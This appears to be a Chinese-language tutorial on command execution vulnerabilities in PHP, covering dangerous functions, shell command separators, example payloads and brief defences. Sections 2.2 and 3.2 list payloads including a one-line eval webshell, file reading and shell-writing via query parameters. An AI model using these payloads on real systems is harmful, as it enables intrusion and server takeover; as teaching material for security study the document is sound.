文章目录
- 一、命令执行概述
- 1.1 基本定义
- 1.2 原理
- 1.3 两个条件
- 1.4 命令执行漏洞产生的原因
- 1.5 管道符号和通用命令符
- 二、远程命令执行
- 2.1 远程命令执行相关函数
- 2.2 远程命令执行漏洞的利用
- 三、系统命令执行
- 3.1 相关函数
- 3.2 系统命令执行漏洞利用
- 四、命令执行漏洞防御
一、命令执行概述
1.1 基本定义
命令执行漏洞是指攻击者可以随意执行系统命令,分为远程命令执行(远程代码执行)和系统命令执行两类。
1.2 原理
应用程序有时需要调用一些执行系统命令的函数,如PHP中的system
、exec
、shell_exec
、passthru
、popen
、proc_popen
等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
1.3 两个条件
- 用户能够控制函数的输入
- 存在可以执行代码或者系统命令的危险函数
1.4 命令执行漏洞产生的原因
- 由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交而已构造语句,并提交服务器执行。
- 命令注入攻击中,web服务器没有过滤类似
system
、eval
和exec
等函数,是该漏洞攻击成功的主要原因。
1.5 管道符号和通用命令符
(1)Linux
<command 1>;<command 2>
命令1执行完,再执行命令2。<command 1> | <command 2>
是管道符,命令1的结果作为命令2的输入,直接执行命令2,显示命令2的执行结果。<command 1> || <command 2>
当命令1执行出错时,执行命令2。
(2)Windows
<command 1> & <command 2>
:命令1是否假,都执行命令2。<command 1> && <command 2>
:命令1为假直接报命令1的错误,命令2不会被执行。<command 1> | <command 1>
:直接执行命令2,显示命令2的执行结果。<command 1> || <command 2>
当命令1执行出错时,执行命令2.
(3)通用命令符
<command 1> | <command 1>
:命令1的结果作为命令2的输入,直接执行命令2,显示命令2的执行结果。<command 1> & <command 2>
:命令1和命令2之间不相互影响;<command 1> && <command 2>
:命令1为假直接报命令1的错误,命令2不会被执行。
二、远程命令执行
2.1 远程命令执行相关函数
在PHP中,允许命令执行的函数有:eval()
、assert()
、preg_replace()
、call_user_func()
、$a($b)
。如果页面中存在这些函数并且对用户的输入没有做严格的过滤,那么就有可能造成远程命令执行漏洞。
2.2 远程命令执行漏洞的利用
(1)?a=@eval($_POST[666]);
//一句话木马
(2)?a=print(_FILE_);
//获取当前绝对路径
(3)?a=var_dump(file_get_contents('<file_path>'));
//读取文件
(4)?a=var_dump(file_put_contents($_POST[1],$_POST[2]));
//写shell
三、系统命令执行
3.1 相关函数
允许系统命令执行的函数有:system()
、exec()
、shell_exec()
、passthru()
、popen()
、反引号
3.2 系统命令执行漏洞利用
(1)?a=type <file_path>
//查看文件
(2)?a=cd
//查看当前绝对路径
(3)?a=echo "<?php phpinfo();?>" > <file_path>
//写shell
四、命令执行漏洞防御
- 尽量不要执行外部命令
- 使用
escapeshellarg
函数来处理命令参数,escapeshellarg
函数会将任何引起参数或命令结束的字符转义; - 使用
safe_mode_exec_dir
指定要执行程序的主目录(php.ini),该函数会将要使用的命令提前放入此路径内。